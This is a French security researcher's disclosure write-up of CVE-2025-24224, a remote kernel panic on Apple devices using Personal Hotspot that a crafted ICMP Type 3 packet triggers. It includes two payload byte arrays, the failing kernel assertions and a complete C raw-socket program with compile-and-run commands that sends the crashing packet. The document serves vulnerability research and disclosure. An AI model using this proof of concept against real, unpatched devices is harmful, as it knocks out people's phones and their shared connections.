Engineering Write-Up Apple CVE-2025-24224

CVE-2025-24224 Apple :
Kernel Panic avec un paquet ICMP Type 3

De l'analyse réseau au Kernel Panic : une démonstration technique de la vulnérabilité CVE-2025-24224, permettant de provoquer une terminaison brutale du système Apple (kernel panic) à l'aide d'un unique paquet ICMP Type 3.

Protocol

ICMP

Surface

Hotspot

Impact

Kernel Panic

CVSS

High 7.5

01.Le Contexte

Write-up de la CVE-2025-24224 permettant à un attaquant distant de provoquer une terminaison inopinée du système, sans interaction utilisateur.

Apple Security Advisory iOS 18.5

02.Généralités

La vulnérabilité a été découverte de façon empirique lors de tests réseau sur un iPhone en mode Personal Hotspot. Un kernel panic inattendu s'est produit lors de l'envoi d'un paquet ICMP Type 3 Code 4 vers l'adresse WAN de l'iPhone.

Je cherchais à analyser le comportement réseau en envoyant un paquet de test PMTUD. Pour ceux qui ne connaissent pas, c'est une technique qui permet de déterminer la taille du MTU dans un réseau informatique.

Une autre solution, plus connue aujourd'hui, est le MSS Clamping afin de réduire la taille du MTU sur une chaîne de liaison réseau informatique.

Exemple de paquet ICMP Type 3 Code 4 => PMTUD :

iPhone Personal Hotspot - Test PMTUD déclenchant le kernel panic

Grâce à cela, j'ai découvert la vulnérabilité. Le crash initial pointait vers pf_pbuf.c:316 via les kernel logs, mais ce qui a fait la valeur de la découverte, c'est l'investigation systématique qui a suivi. Plutôt que de m'arrêter à la simple reproduction, j'ai testé différentes tailles de payload et j'ai découvert qu'à partir de 28 octets, le crash se produisait dans une fonction complètement différente (nat464_utils.c:965). Cette approche méthodique a permis d'identifier DEUX vulnérabilités distinctes qu'Apple a pu corriger simultanément. Sans l'analyse systématique, le second chemin serait resté exploitable après le patch initial.

Cependant, le déclenchement du kernel panic repose exclusivement sur le traitement des messages ICMP de Type 3 (Destination Unreachable). Le champ Code associé n'influence pas directement la condition de crash observée, à l'exception du Code 5 (Source Route Failed), qui ne déclenche aucun comportement anormal.

Cette différence suggère l'existence d'un chemin de traitement distinct pour ce code spécifique, et renforce l'hypothèse selon laquelle la vulnérabilité est liée au parsing des messages d'erreur ICMP encapsulant un en-tête IP original dans le contexte NAT464 du Personal Hotspot.

03.Investigation

Le but est donc de se connecter au Hotspot de l'iPhone et d'envoyer un paquet ICMP Type 3 en direction du WAN.

Dans cet état, les deux variantes décelées sont :

Payload - Variant 1
	unsigned char payload[] = {
		0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	}; // Add until 27 octets

pf_pbuf.c.html#pbuf_contig_segment

pf_bpuf - Variant 1
VERIFY((u_int)(off + len) <= pbuf->pb_packet_len);

Hypothèse technique :

Le panic survient lors de la validation de la continuité d'un segment dans un pbuf. Une incohérence entre la longueur effective du paquet ICMP reçu et la longueur attendue lors de l'accès segmenté entraîne une violation de l'invariant (off + len) <= pb_packet_len.

Payload - Variant 2
	unsigned char payload[] = {
		0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 
	}; // 28 octets or more

nat464_utils.c.html#nat464_translate_proto

nat464_utils.c - Variant 2
VERIFY(IN_ARE_ADDR_EQUAL(&odst->natv4addr, &iph2->ip_src));

Hypothèse technique :

Dans le contexte NAT464 du Personal Hotspot, le kernel suppose l'existence d'un mapping cohérent entre l'adresse source IP encapsulée et l'entrée correspondante dans la table NAT. Un paquet ICMP forgé vers l'interface WAN peut violer cet invariant, déclenchant l'assertion IN_ARE_ADDR_EQUAL().

Les vulnérabilités reposent sur deux assertions défensives présentes dans le kernel XNU. La macro VERIFY() d'Apple est un mécanisme de vérification d'invariants qui, en cas d'échec, déclenche immédiatement un kernel panic non récupérable, interrompant l'exécution avant toute possibilité d'exploitation post-condition.

Dans le contexte de cette vulnérabilité :

L'exécution est interrompue au moment précis où l'assertion échoue. Il n'existe donc pas de fenêtre permettant une escalade de privilèges ou un détournement du flot d'exécution.

Des tests complémentaires ont été réalisés afin d'évaluer la possibilité d'un comportement différé ou d'un état partiellement corrompu exploitable :

Seule la variation de la taille du payload ICMP (Type 3) a permis de déclencher un déni de service distant dans le contexte testé (Personal Hotspot actif, trafic transitant vers l'interface WAN).

En effet, à partir de 28 octets, le payload satisfait les contraintes minimales attendues par le parsing du pbuf, permettant au traitement de progresser jusqu'au chemin NAT464 où une seconde assertion est atteinte.

04. Ingénierie "Raw ICMP"

RawICMP - Code Complet
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

struct icmp_pmtud {
    uint8_t type;
    uint8_t code;
    uint16_t checksum;
    uint32_t unused;
    uint16_t mtu;
};

unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2) sum += *buf++;
    if (len == 1) sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

int main(int argc, char *argv[]) {
    int sockfd;
    char packet[100];
    memset(packet, 0, sizeof(packet));

    //Change ip src with your ip address given by the iPhone DHCP
    char *src_ip_str = "172.20.10.3";
    char *dst_ip_str = "8.8.8.8";

    struct iphdr *ip = (struct iphdr *) packet;
    struct icmp_pmtud *icmp = (struct icmp_pmtud *) (packet + sizeof(struct iphdr));
    
	unsigned char payload[] = {
		0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 
	};

    memcpy(icmp, payload, sizeof(payload));
    int icmp_len = sizeof(payload);
    icmp->checksum = 0;
    icmp->checksum = checksum((unsigned short *)icmp, icmp_len);
    
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(struct iphdr) + icmp_len);
    ip->id = htons(rand() % 65535);
    ip->frag_off = htons(0x4000);
    ip->ttl = 128;
    ip->protocol = IPPROTO_ICMP;
    ip->check = 0;
    ip->saddr = inet_addr(src_ip_str);
    ip->daddr = inet_addr(dst_ip_str);
    ip->check = checksum((unsigned short *) ip, sizeof(struct iphdr));

    if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    int one = 1;
    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
        perror("setsockopt");
        exit(EXIT_FAILURE);
    }

    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = ip->daddr;

    int packet_size = sizeof(struct iphdr) + icmp_len;
    if (sendto(sockfd, packet, packet_size, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
        perror("sendto");
        exit(EXIT_FAILURE);
    } else {
        printf("Paquet ICMP 'Packet Too Big' envoyé avec succès.\n");
    }

    close(sockfd);
    return 0;
}

Compilation et lancement de la commande :

  • gcc RawICMP.c -o RawICMP
  • ./RawICMP

05.Méthodologie & Impact

Approche systématique d'investigation d'incidents appliquée à la fois aux environnements de production critique et à la recherche en sécurité

06.Bug Bounty

Un immense merci à l'équipe Apple Product Security pour leur réactivité et leur collaboration durant le processus de responsible disclosure.

07.Référence